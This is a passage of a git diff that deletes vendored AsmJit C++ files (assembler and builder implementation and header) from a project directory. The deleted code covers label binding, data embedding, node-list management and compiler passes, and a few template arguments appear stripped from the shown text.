{#%u}\n", section->name(), section->id()); -#endif - - BaseAssembler_initSection(this, section); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseAssembler - Label Management] -// ============================================================================ - -Label BaseAssembler::newLabel() { - uint32_t labelId = Globals::kInvalidId; - if (ASMJIT_LIKELY(_code)) { - LabelEntry* le; - Error err = _code->newLabelEntry(&le); - if (ASMJIT_UNLIKELY(err)) - reportError(err); - else - labelId = le->id(); - } - return Label(labelId); -} - -Label BaseAssembler::newNamedLabel(const char* name, size_t nameSize, uint32_t type, uint32_t parentId) { - uint32_t labelId = Globals::kInvalidId; - if (ASMJIT_LIKELY(_code)) { - LabelEntry* le; - Error err = _code->newNamedLabelEntry(&le, name, nameSize, type, parentId); - if (ASMJIT_UNLIKELY(err)) - reportError(err); - else - labelId = le->id(); - } - return Label(labelId); -} - -Error BaseAssembler::bind(const Label& label) { - if (ASMJIT_UNLIKELY(!_code)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - - Error err = _code->bindLabel(label, _section->id(), offset()); - -#ifndef ASMJIT_NO_LOGGING - if (_logger) - EmitterUtils::logLabelBound(this, label); -#endif - - resetInlineComment(); - if (err) - return reportError(err); - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseAssembler - Embed] -// ============================================================================ - -#ifndef ASMJIT_NO_LOGGING -struct DataSizeByPower { - char str[4]; -}; - -static const DataSizeByPower dataSizeByPowerTable[] = { - { "db" }, - { "dw" }, - { "dd" }, - { "dq" } -}; -#endif - -Error BaseAssembler::embed(const void* data, size_t dataSize) { - if (ASMJIT_UNLIKELY(!_code)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - - if (dataSize == 0) - return kErrorOk; - - CodeWriter writer(this); - ASMJIT_PROPAGATE(writer.ensureSpace(this, dataSize)); - - writer.emitData(data, dataSize); - -#ifndef ASMJIT_NO_LOGGING - if (_logger) - _logger->logBinary(data, dataSize); -#endif - - writer.done(this); - return kErrorOk; -} - -Error BaseAssembler::embedDataArray(uint32_t typeId, const void* data, size_t itemCcount, size_t repeatCount) { - uint32_t deabstractDelta = Type::deabstractDeltaOfSize(registerSize()); - uint32_t finalTypeId = Type::deabstract(typeId, deabstractDelta); - - if (ASMJIT_UNLIKELY(!Type::isValid(finalTypeId))) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - if (itemCcount == 0 || repeatCount == 0) - return kErrorOk; - - uint32_t typeSize = Type::sizeOf(finalTypeId); - Support::FastUInt8 of = 0; - - size_t dataSize = Support::mulOverflow(itemCcount, size_t(typeSize), &of); - size_t totalSize = Support::mulOverflow(dataSize, repeatCount, &of); - - if (ASMJIT_UNLIKELY(of)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - CodeWriter writer(this); - ASMJIT_PROPAGATE(writer.ensureSpace(this, totalSize)); - -#ifndef ASMJIT_NO_LOGGING - const uint8_t* start = writer.cursor(); -#endif - - for (size_t i = 0; i < repeatCount; i++) { - writer.emitData(data, dataSize); - } - -#ifndef ASMJIT_NO_LOGGING - if (_logger) - _logger->logBinary(start, totalSize); -#endif - - writer.done(this); - return kErrorOk; -} - -Error BaseAssembler::embedConstPool(const Label& label, const ConstPool& pool) { - if (ASMJIT_UNLIKELY(!_code)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - - if (ASMJIT_UNLIKELY(!isLabelValid(label))) - return reportError(DebugUtils::errored(kErrorInvalidLabel)); - - ASMJIT_PROPAGATE(align(kAlignData, uint32_t(pool.alignment()))); - ASMJIT_PROPAGATE(bind(label)); - - size_t size = pool.size(); - CodeWriter writer(this); - ASMJIT_PROPAGATE(writer.ensureSpace(this, size)); - - pool.fill(writer.cursor()); - -#ifndef ASMJIT_NO_LOGGING - if (_logger) - _logger->logBinary(writer.cursor(), size); -#endif - - writer.advance(size); - writer.done(this); - - return kErrorOk; -} - -Error BaseAssembler::embedLabel(const Label& label, size_t dataSize) { - if (ASMJIT_UNLIKELY(!_code)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - - ASMJIT_ASSERT(_code != nullptr); - RelocEntry* re; - LabelEntry* le = _code->labelEntry(label); - - if (ASMJIT_UNLIKELY(!le)) - return reportError(DebugUtils::errored(kErrorInvalidLabel)); - - if (dataSize == 0) - dataSize = registerSize(); - - if (ASMJIT_UNLIKELY(!Support::isPowerOf2(dataSize) || dataSize > 8)) - return reportError(DebugUtils::errored(kErrorInvalidOperandSize)); - - CodeWriter writer(this); - ASMJIT_PROPAGATE(writer.ensureSpace(this, dataSize)); - -#ifndef ASMJIT_NO_LOGGING - if (_logger) { - StringTmp<256> sb; - sb.appendFormat("%s ", dataSizeByPowerTable[Support::ctz(dataSize)].str); - Formatter::formatLabel(sb, 0, this, label.id()); - sb.append('\n'); - _logger->log(sb); - } -#endif - - Error err = _code->newRelocEntry(&re, RelocEntry::kTypeRelToAbs); - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - re->_sourceSectionId = _section->id(); - re->_sourceOffset = offset(); - re->_format.resetToDataValue(uint32_t(dataSize)); - - if (le->isBound()) { - re->_targetSectionId = le->section()->id(); - re->_payload = le->offset(); - } - else { - OffsetFormat of; - of.resetToDataValue(uint32_t(dataSize)); - - LabelLink* link = _code->newLabelLink(le, _section->id(), offset(), 0, of); - if (ASMJIT_UNLIKELY(!link)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - link->relocId = re->id(); - } - - // Emit dummy DWORD/QWORD depending on the data size. - writer.emitZeros(dataSize); - writer.done(this); - - return kErrorOk; -} - -Error BaseAssembler::embedLabelDelta(const Label& label, const Label& base, size_t dataSize) { - if (ASMJIT_UNLIKELY(!_code)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - - LabelEntry* labelEntry = _code->labelEntry(label); - LabelEntry* baseEntry = _code->labelEntry(base); - - if (ASMJIT_UNLIKELY(!labelEntry || !baseEntry)) - return reportError(DebugUtils::errored(kErrorInvalidLabel)); - - if (dataSize == 0) - dataSize = registerSize(); - - if (ASMJIT_UNLIKELY(!Support::isPowerOf2(dataSize) || dataSize > 8)) - return reportError(DebugUtils::errored(kErrorInvalidOperandSize)); - - CodeWriter writer(this); - ASMJIT_PROPAGATE(writer.ensureSpace(this, dataSize)); - -#ifndef ASMJIT_NO_LOGGING - if (_logger) { - StringTmp<256> sb; - sb.appendFormat(".%s (", dataSizeByPowerTable[Support::ctz(dataSize)].str); - Formatter::formatLabel(sb, 0, this, label.id()); - sb.append(" - "); - Formatter::formatLabel(sb, 0, this, base.id()); - sb.append(")\n"); - _logger->log(sb); - } -#endif - - // If both labels are bound within the same section it means the delta can be calculated now. - if (labelEntry->isBound() && baseEntry->isBound() && labelEntry->section() == baseEntry->section()) { - uint64_t delta = labelEntry->offset() - baseEntry->offset(); - writer.emitValueLE(delta, dataSize); - } - else { - RelocEntry* re; - Error err = _code->newRelocEntry(&re, RelocEntry::kTypeExpression); - if (ASMJIT_UNLIKELY(err)) - return reportError(err); - - Expression* exp = _code->_zone.newT(); - if (ASMJIT_UNLIKELY(!exp)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - exp->reset(); - exp->opType = Expression::kOpSub; - exp->setValueAsLabel(0, labelEntry); - exp->setValueAsLabel(1, baseEntry); - - re->_format.resetToDataValue(dataSize); - re->_sourceSectionId = _section->id(); - re->_sourceOffset = offset(); - re->_payload = (uint64_t)(uintptr_t)exp; - - writer.emitZeros(dataSize); - } - - writer.done(this); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseAssembler - Comment] -// ============================================================================ - -Error BaseAssembler::comment(const char* data, size_t size) { - if (!hasEmitterFlag(kFlagLogComments)) { - if (!hasEmitterFlag(kFlagAttached)) - return reportError(DebugUtils::errored(kErrorNotInitialized)); - return kErrorOk; - } - -#ifndef ASMJIT_NO_LOGGING - // Logger cannot be NULL if `kFlagLogComments` is set. - ASMJIT_ASSERT(_logger != nullptr); - - _logger->log(data, size); - _logger->log("\n", 1); - return kErrorOk; -#else - DebugUtils::unused(data, size); - return kErrorOk; -#endif -} - -// ============================================================================ -// [asmjit::BaseAssembler - Events] -// ============================================================================ - -Error BaseAssembler::onAttach(CodeHolder* code) noexcept { - ASMJIT_PROPAGATE(Base::onAttach(code)); - - // Attach to the end of the .text section. - BaseAssembler_initSection(this, code->_sections[0]); - - return kErrorOk; -} - -Error BaseAssembler::onDetach(CodeHolder* code) noexcept { - _section = nullptr; - _bufferData = nullptr; - _bufferEnd = nullptr; - _bufferPtr = nullptr; - return Base::onDetach(code); -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/assembler.h b/src/Theodosius/asmjit/core/assembler.h deleted file mode 100644 index 6e38bc5..0000000 --- a/src/Theodosius/asmjit/core/assembler.h +++ /dev/null @@ -1,152 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_ASSEMBLER_H_INCLUDED -#define ASMJIT_CORE_ASSEMBLER_H_INCLUDED - -#include "../core/codeholder.h" -#include "../core/datatypes.h" -#include "../core/emitter.h" -#include "../core/operand.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_assembler -//! \{ - -// ============================================================================ -// [asmjit::BaseAssembler] -// ============================================================================ - -//! Base assembler. -//! -//! This is a base class that provides interface used by architecture specific -//! assembler implementations. Assembler doesn't hold any data, instead it's -//! attached to \ref CodeHolder, which provides all the data that Assembler -//! needs and which can be altered by it. -//! -//! Check out architecture specific assemblers for more details and examples: -//! -//! - \ref x86::Assembler - X86/X64 assembler implementation. -class ASMJIT_VIRTAPI BaseAssembler : public BaseEmitter { -public: - ASMJIT_NONCOPYABLE(BaseAssembler) - typedef BaseEmitter Base; - - //! Current section where the assembling happens. - Section* _section = nullptr; - //! Start of the CodeBuffer of the current section. - uint8_t* _bufferData = nullptr; - //! End (first invalid byte) of the current section. - uint8_t* _bufferEnd = nullptr; - //! Pointer in the CodeBuffer of the current section. - uint8_t* _bufferPtr = nullptr; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new `BaseAssembler` instance. - ASMJIT_API BaseAssembler() noexcept; - //! Destroys the `BaseAssembler` instance. - ASMJIT_API virtual ~BaseAssembler() noexcept; - - //! \} - - //! \name Code-Buffer Management - //! \{ - - //! Returns the capacity of the current CodeBuffer. - inline size_t bufferCapacity() const noexcept { return (size_t)(_bufferEnd - _bufferData); } - //! Returns the number of remaining bytes in the current CodeBuffer. - inline size_t remainingSpace() const noexcept { return (size_t)(_bufferEnd - _bufferPtr); } - - //! Returns the current position in the CodeBuffer. - inline size_t offset() const noexcept { return (size_t)(_bufferPtr - _bufferData); } - - //! Sets the current position in the CodeBuffer to `offset`. - //! - //! \note The `offset` cannot be greater than buffer size even if it's - //! within the buffer's capacity. - ASMJIT_API Error setOffset(size_t offset); - - //! Returns the start of the CodeBuffer in the current section. - inline uint8_t* bufferData() const noexcept { return _bufferData; } - //! Returns the end (first invalid byte) in the current section. - inline uint8_t* bufferEnd() const noexcept { return _bufferEnd; } - //! Returns the current pointer in the CodeBuffer in the current section. - inline uint8_t* bufferPtr() const noexcept { return _bufferPtr; } - - //! \} - - //! \name Section Management - //! \{ - - //! Returns the current section. - inline Section* currentSection() const noexcept { return _section; } - - ASMJIT_API Error section(Section* section) override; - - //! \} - - //! \name Label Management - //! \{ - - ASMJIT_API Label newLabel() override; - ASMJIT_API Label newNamedLabel(const char* name, size_t nameSize = SIZE_MAX, uint32_t type = Label::kTypeGlobal, uint32_t parentId = Globals::kInvalidId) override; - ASMJIT_API Error bind(const Label& label) override; - - //! \} - - //! \name Embed - //! \{ - - ASMJIT_API Error embed(const void* data, size_t dataSize) override; - ASMJIT_API Error embedDataArray(uint32_t typeId, const void* data, size_t itemCcount, size_t repeatCount = 1) override; - ASMJIT_API Error embedConstPool(const Label& label, const ConstPool& pool) override; - - ASMJIT_API Error embedLabel(const Label& label, size_t dataSize = 0) override; - ASMJIT_API Error embedLabelDelta(const Label& label, const Label& base, size_t dataSize = 0) override; - - //! \} - - //! \name Comment - //! \{ - - ASMJIT_API Error comment(const char* data, size_t size = SIZE_MAX) override; - - //! \} - - //! \name Events - //! \{ - - ASMJIT_API Error onAttach(CodeHolder* code) noexcept override; - ASMJIT_API Error onDetach(CodeHolder* code) noexcept override; - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_ASSEMBLER_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/builder.cpp b/src/Theodosius/asmjit/core/builder.cpp deleted file mode 100644 index ad89f1d..0000000 --- a/src/Theodosius/asmjit/core/builder.cpp +++ /dev/null @@ -1,920 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#ifndef ASMJIT_NO_BUILDER - -#include "../core/builder.h" -#include "../core/emitterutils_p.h" -#include "../core/errorhandler.h" -#include "../core/formatter.h" -#include "../core/logger.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::PostponedErrorHandler (Internal)] -// ============================================================================ - -//! Postponed error handler that never throws. Used as a temporal error handler -//! to run passes. If error occurs, the caller is notified and will call the -//! real error handler, that can throw. -class PostponedErrorHandler : public ErrorHandler { -public: - void handleError(Error err, const char* message, BaseEmitter* origin) override { - DebugUtils::unused(err, origin); - _message.assign(message); - } - - StringTmp<128> _message; -}; - -// ============================================================================ -// [asmjit::BaseBuilder - Utilities] -// ============================================================================ - -static void BaseBuilder_deletePasses(BaseBuilder* self) noexcept { - for (Pass* pass : self->_passes) - pass->~Pass(); - self->_passes.reset(); -} - -// ============================================================================ -// [asmjit::BaseBuilder - Construction / Destruction] -// ============================================================================ - -BaseBuilder::BaseBuilder() noexcept - : BaseEmitter(kTypeBuilder), - _codeZone(32768 - Zone::kBlockOverhead), - _dataZone(16384 - Zone::kBlockOverhead), - _passZone(65536 - Zone::kBlockOverhead), - _allocator(&_codeZone) {} - -BaseBuilder::~BaseBuilder() noexcept { - BaseBuilder_deletePasses(this); -} - -// ============================================================================ -// [asmjit::BaseBuilder - Node Management] -// ============================================================================ - -Error BaseBuilder::_newInstNode(InstNode** out, uint32_t instId, uint32_t instOptions, uint32_t opCount) { - uint32_t opCapacity = InstNode::capacityOfOpCount(opCount); - ASMJIT_ASSERT(opCapacity >= InstNode::kBaseOpCapacity); - - InstNode* node = _allocator.allocT(InstNode::nodeSizeOfOpCapacity(opCapacity)); - if (ASMJIT_UNLIKELY(!node)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - *out = new(node) InstNode(this, instId, instOptions, opCount, opCapacity); - return kErrorOk; -} - - -Error BaseBuilder::_newLabelNode(LabelNode** out) { - *out = nullptr; - - ASMJIT_PROPAGATE(_newNodeT(out)); - return registerLabelNode(*out); -} - -Error BaseBuilder::_newAlignNode(AlignNode** out, uint32_t alignMode, uint32_t alignment) { - *out = nullptr; - return _newNodeT(out, alignMode, alignment); -} - -Error BaseBuilder::_newEmbedDataNode(EmbedDataNode** out, uint32_t typeId, const void* data, size_t itemCount, size_t repeatCount) { - *out = nullptr; - - uint32_t deabstractDelta = Type::deabstractDeltaOfSize(registerSize()); - uint32_t finalTypeId = Type::deabstract(typeId, deabstractDelta); - - if (ASMJIT_UNLIKELY(!Type::isValid(finalTypeId))) - return reportError(DebugUtils::errored(kErrorInvalidArgument)); - - uint32_t typeSize = Type::sizeOf(finalTypeId); - Support::FastUInt8 of = 0; - - size_t dataSize = Support::mulOverflow(itemCount, size_t(typeSize), &of); - if (ASMJIT_UNLIKELY(of)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - - EmbedDataNode* node; - ASMJIT_PROPAGATE(_newNodeT(&node)); - - node->_embed._typeId = uint8_t(typeId); - node->_embed._typeSize = uint8_t(typeSize); - node->_itemCount = itemCount; - node->_repeatCount = repeatCount; - - uint8_t* dstData = node->_inlineData; - if (dataSize > EmbedDataNode::kInlineBufferSize) { - dstData = static_cast(_dataZone.alloc(dataSize, 8)); - if (ASMJIT_UNLIKELY(!dstData)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - node->_externalData = dstData; - } - - if (data) - memcpy(dstData, data, dataSize); - - *out = node; - return kErrorOk; -} - -Error BaseBuilder::_newConstPoolNode(ConstPoolNode** out) { - *out = nullptr; - - ASMJIT_PROPAGATE(_newNodeT(out)); - return registerLabelNode(*out); -} - -Error BaseBuilder::_newCommentNode(CommentNode** out, const char* data, size_t size) { - *out = nullptr; - - if (data) { - if (size == SIZE_MAX) - size = strlen(data); - - if (size > 0) { - data = static_cast(_dataZone.dup(data, size, true)); - if (ASMJIT_UNLIKELY(!data)) - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - } - } - - return _newNodeT(out, data); -} - -BaseNode* BaseBuilder::addNode(BaseNode* node) noexcept { - ASMJIT_ASSERT(node); - ASMJIT_ASSERT(!node->_prev); - ASMJIT_ASSERT(!node->_next); - ASMJIT_ASSERT(!node->isActive()); - - if (!_cursor) { - if (!_firstNode) { - _firstNode = node; - _lastNode = node; - } - else { - node->_next = _firstNode; - _firstNode->_prev = node; - _firstNode = node; - } - } - else { - BaseNode* prev = _cursor; - BaseNode* next = _cursor->next(); - - node->_prev = prev; - node->_next = next; - - prev->_next = node; - if (next) - next->_prev = node; - else - _lastNode = node; - } - - node->addFlags(BaseNode::kFlagIsActive); - if (node->isSection()) - _dirtySectionLinks = true; - - _cursor = node; - return node; -} - -BaseNode* BaseBuilder::addAfter(BaseNode* node, BaseNode* ref) noexcept { - ASMJIT_ASSERT(node); - ASMJIT_ASSERT(ref); - - ASMJIT_ASSERT(!node->_prev); - ASMJIT_ASSERT(!node->_next); - - BaseNode* prev = ref; - BaseNode* next = ref->next(); - - node->_prev = prev; - node->_next = next; - - node->addFlags(BaseNode::kFlagIsActive); - if (node->isSection()) - _dirtySectionLinks = true; - - prev->_next = node; - if (next) - next->_prev = node; - else - _lastNode = node; - - return node; -} - -BaseNode* BaseBuilder::addBefore(BaseNode* node, BaseNode* ref) noexcept { - ASMJIT_ASSERT(node != nullptr); - ASMJIT_ASSERT(!node->_prev); - ASMJIT_ASSERT(!node->_next); - ASMJIT_ASSERT(!node->isActive()); - ASMJIT_ASSERT(ref != nullptr); - ASMJIT_ASSERT(ref->isActive()); - - BaseNode* prev = ref->prev(); - BaseNode* next = ref; - - node->_prev = prev; - node->_next = next; - - node->addFlags(BaseNode::kFlagIsActive); - if (node->isSection()) - _dirtySectionLinks = true; - - next->_prev = node; - if (prev) - prev->_next = node; - else - _firstNode = node; - - return node; -} - -BaseNode* BaseBuilder::removeNode(BaseNode* node) noexcept { - if (!node->isActive()) - return node; - - BaseNode* prev = node->prev(); - BaseNode* next = node->next(); - - if (_firstNode == node) - _firstNode = next; - else - prev->_next = next; - - if (_lastNode == node) - _lastNode = prev; - else - next->_prev = prev; - - node->_prev = nullptr; - node->_next = nullptr; - node->clearFlags(BaseNode::kFlagIsActive); - if (node->isSection()) - _dirtySectionLinks = true; - - if (_cursor == node) - _cursor = prev; - - return node; -} - -void BaseBuilder::removeNodes(BaseNode* first, BaseNode* last) noexcept { - if (first == last) { - removeNode(first); - return; - } - - if (!first->isActive()) - return; - - BaseNode* prev = first->prev(); - BaseNode* next = last->next(); - - if (_firstNode == first) - _firstNode = next; - else - prev->_next = next; - - if (_lastNode == last) - _lastNode = prev; - else - next->_prev = prev; - - BaseNode* node = first; - uint32_t didRemoveSection = false; - - for (;;) { - next = node->next(); - ASMJIT_ASSERT(next != nullptr); - - node->_prev = nullptr; - node->_next = nullptr; - node->clearFlags(BaseNode::kFlagIsActive); - didRemoveSection |= uint32_t(node->isSection()); - - if (_cursor == node) - _cursor = prev; - - if (node == last) - break; - node = next; - } - - if (didRemoveSection) - _dirtySectionLinks = true; -} - -BaseNode* BaseBuilder::setCursor(BaseNode* node) noexcept { - BaseNode* old = _cursor; - _cursor = node; - return old; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Section] -// ============================================================================ - -Error BaseBuilder::sectionNodeOf(SectionNode** out, uint32_t sectionId) { - *out = nullptr; - - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - if (ASMJIT_UNLIKELY(!_code->isSectionValid(sectionId))) - return reportError(DebugUtils::errored(kErrorInvalidSection)); - - if (sectionId >= _sectionNodes.size()) { - Error err = _sectionNodes.reserve(&_allocator, sectionId + 1); - if (ASMJIT_UNLIKELY(err != kErrorOk)) - return reportError(err); - } - - SectionNode* node = nullptr; - if (sectionId < _sectionNodes.size()) - node = _sectionNodes[sectionId]; - - if (!node) { - ASMJIT_PROPAGATE(_newNodeT(&node, sectionId)); - - // We have already reserved enough space, this cannot fail now. - if (sectionId >= _sectionNodes.size()) - _sectionNodes.resize(&_allocator, sectionId + 1); - - _sectionNodes[sectionId] = node; - } - - *out = node; - return kErrorOk; -} - -Error BaseBuilder::section(Section* section) { - SectionNode* node; - ASMJIT_PROPAGATE(sectionNodeOf(&node, section->id())); - - if (!node->isActive()) { - // Insert the section at the end if it was not part of the code. - addAfter(node, lastNode()); - _cursor = node; - } - else { - // This is a bit tricky. We cache section links to make sure that - // switching sections doesn't involve traversal in linked-list unless - // the position of the section has changed. - if (hasDirtySectionLinks()) - updateSectionLinks(); - - if (node->_nextSection) - _cursor = node->_nextSection->_prev; - else - _cursor = _lastNode; - } - - return kErrorOk; -} - -void BaseBuilder::updateSectionLinks() noexcept { - if (!_dirtySectionLinks) - return; - - BaseNode* node_ = _firstNode; - SectionNode* currentSection = nullptr; - - while (node_) { - if (node_->isSection()) { - if (currentSection) - currentSection->_nextSection = node_->as(); - currentSection = node_->as(); - } - node_ = node_->next(); - } - - if (currentSection) - currentSection->_nextSection = nullptr; - - _dirtySectionLinks = false; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Labels] -// ============================================================================ - -Error BaseBuilder::labelNodeOf(LabelNode** out, uint32_t labelId) { - *out = nullptr; - - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - uint32_t index = labelId; - if (ASMJIT_UNLIKELY(index >= _code->labelCount())) - return DebugUtils::errored(kErrorInvalidLabel); - - if (index >= _labelNodes.size()) - ASMJIT_PROPAGATE(_labelNodes.resize(&_allocator, index + 1)); - - LabelNode* node = _labelNodes[index]; - if (!node) { - ASMJIT_PROPAGATE(_newNodeT(&node, labelId)); - _labelNodes[index] = node; - } - - *out = node; - return kErrorOk; -} - -Error BaseBuilder::registerLabelNode(LabelNode* node) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - LabelEntry* le; - ASMJIT_PROPAGATE(_code->newLabelEntry(&le)); - uint32_t labelId = le->id(); - - // We just added one label so it must be true. - ASMJIT_ASSERT(_labelNodes.size() < labelId + 1); - ASMJIT_PROPAGATE(_labelNodes.resize(&_allocator, labelId + 1)); - - _labelNodes[labelId] = node; - node->_labelId = labelId; - - return kErrorOk; -} - -static Error BaseBuilder_newLabelInternal(BaseBuilder* self, uint32_t labelId) { - ASMJIT_ASSERT(self->_labelNodes.size() < labelId + 1); - - uint32_t growBy = labelId - self->_labelNodes.size(); - Error err = self->_labelNodes.willGrow(&self->_allocator, growBy); - - if (ASMJIT_UNLIKELY(err)) - return self->reportError(err); - - LabelNode* node; - ASMJIT_PROPAGATE(self->_newNodeT(&node, labelId)); - - self->_labelNodes.resize(&self->_allocator, labelId + 1); - self->_labelNodes[labelId] = node; - node->_labelId = labelId; - return kErrorOk; -} - -Label BaseBuilder::newLabel() { - uint32_t labelId = Globals::kInvalidId; - LabelEntry* le; - - if (_code && - _code->newLabelEntry(&le) == kErrorOk && - BaseBuilder_newLabelInternal(this, le->id()) == kErrorOk) { - labelId = le->id(); - } - - return Label(labelId); -} - -Label BaseBuilder::newNamedLabel(const char* name, size_t nameSize, uint32_t type, uint32_t parentId) { - uint32_t labelId = Globals::kInvalidId; - LabelEntry* le; - - if (_code && - _code->newNamedLabelEntry(&le, name, nameSize, type, parentId) == kErrorOk && - BaseBuilder_newLabelInternal(this, le->id()) == kErrorOk) { - labelId = le->id(); - } - - return Label(labelId); -} - -Error BaseBuilder::bind(const Label& label) { - LabelNode* node; - ASMJIT_PROPAGATE(labelNodeOf(&node, label)); - - addNode(node); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Passes] -// ============================================================================ - -ASMJIT_FAVOR_SIZE Pass* BaseBuilder::passByName(const char* name) const noexcept { - for (Pass* pass : _passes) - if (strcmp(pass->name(), name) == 0) - return pass; - return nullptr; -} - -ASMJIT_FAVOR_SIZE Error BaseBuilder::addPass(Pass* pass) noexcept { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - if (ASMJIT_UNLIKELY(pass == nullptr)) { - // Since this is directly called by `addPassT()` we treat `null` argument - // as out-of-memory condition. Otherwise it would be API misuse. - return DebugUtils::errored(kErrorOutOfMemory); - } - else if (ASMJIT_UNLIKELY(pass->_cb)) { - // Kinda weird, but okay... - if (pass->_cb == this) - return kErrorOk; - return DebugUtils::errored(kErrorInvalidState); - } - - ASMJIT_PROPAGATE(_passes.append(&_allocator, pass)); - pass->_cb = this; - return kErrorOk; -} - -ASMJIT_FAVOR_SIZE Error BaseBuilder::deletePass(Pass* pass) noexcept { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - if (ASMJIT_UNLIKELY(pass == nullptr)) - return DebugUtils::errored(kErrorInvalidArgument); - - if (pass->_cb != nullptr) { - if (pass->_cb != this) - return DebugUtils::errored(kErrorInvalidState); - - uint32_t index = _passes.indexOf(pass); - ASMJIT_ASSERT(index != Globals::kNotFound); - - pass->_cb = nullptr; - _passes.removeAt(index); - } - - pass->~Pass(); - return kErrorOk; -} - -Error BaseBuilder::runPasses() { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - - if (_passes.empty()) - return kErrorOk; - - ErrorHandler* prev = errorHandler(); - PostponedErrorHandler postponed; - - Error err = kErrorOk; - setErrorHandler(&postponed); - - for (Pass* pass : _passes) { - _passZone.reset(); - err = pass->run(&_passZone, _logger); - if (err) - break; - } - _passZone.reset(); - setErrorHandler(prev); - - if (ASMJIT_UNLIKELY(err)) - return reportError(err, !postponed._message.empty() ? postponed._message.data() : nullptr); - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Emit] -// ============================================================================ - -Error BaseBuilder::_emit(uint32_t instId, const Operand_& o0, const Operand_& o1, const Operand_& o2, const Operand_* opExt) { - uint32_t opCount = EmitterUtils::opCountFromEmitArgs(o0, o1, o2, opExt); - uint32_t options = instOptions() | forcedInstOptions(); - - if (options & BaseInst::kOptionReserved) { - if (ASMJIT_UNLIKELY(!_code)) - return DebugUtils::errored(kErrorNotInitialized); - -#ifndef ASMJIT_NO_VALIDATION - // Strict validation. - if (hasValidationOption(kValidationOptionIntermediate)) { - Operand_ opArray[Globals::kMaxOpCount]; - EmitterUtils::opArrayFromEmitArgs(opArray, o0, o1, o2, opExt); - - Error err = InstAPI::validate(arch(), BaseInst(instId, options, _extraReg), opArray, opCount); - if (ASMJIT_UNLIKELY(err)) { - resetInstOptions(); - resetExtraReg(); - resetInlineComment(); - return reportError(err); - } - } -#endif - - // Clear options that should never be part of `InstNode`. - options &= ~BaseInst::kOptionReserved; - } - - uint32_t opCapacity = InstNode::capacityOfOpCount(opCount); - ASMJIT_ASSERT(opCapacity >= InstNode::kBaseOpCapacity); - - InstNode* node = _allocator.allocT(InstNode::nodeSizeOfOpCapacity(opCapacity)); - const char* comment = inlineComment(); - - resetInstOptions(); - resetInlineComment(); - - if (ASMJIT_UNLIKELY(!node)) { - resetExtraReg(); - return reportError(DebugUtils::errored(kErrorOutOfMemory)); - } - - node = new(node) InstNode(this, instId, options, opCount, opCapacity); - node->setExtraReg(extraReg()); - node->setOp(0, o0); - node->setOp(1, o1); - node->setOp(2, o2); - for (uint32_t i = 3; i < opCount; i++) - node->setOp(i, opExt[i - 3]); - node->resetOpRange(opCount, opCapacity); - - if (comment) - node->setInlineComment(static_cast(_dataZone.dup(comment, strlen(comment), true))); - - addNode(node); - resetExtraReg(); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseBuilder - Align] -// ============================================================================ - -Error BaseBuilder::align(uint32_t alignMode, uint32_t alignment) { - if (ASMJIT_UNLIKELY(!_code)) - return 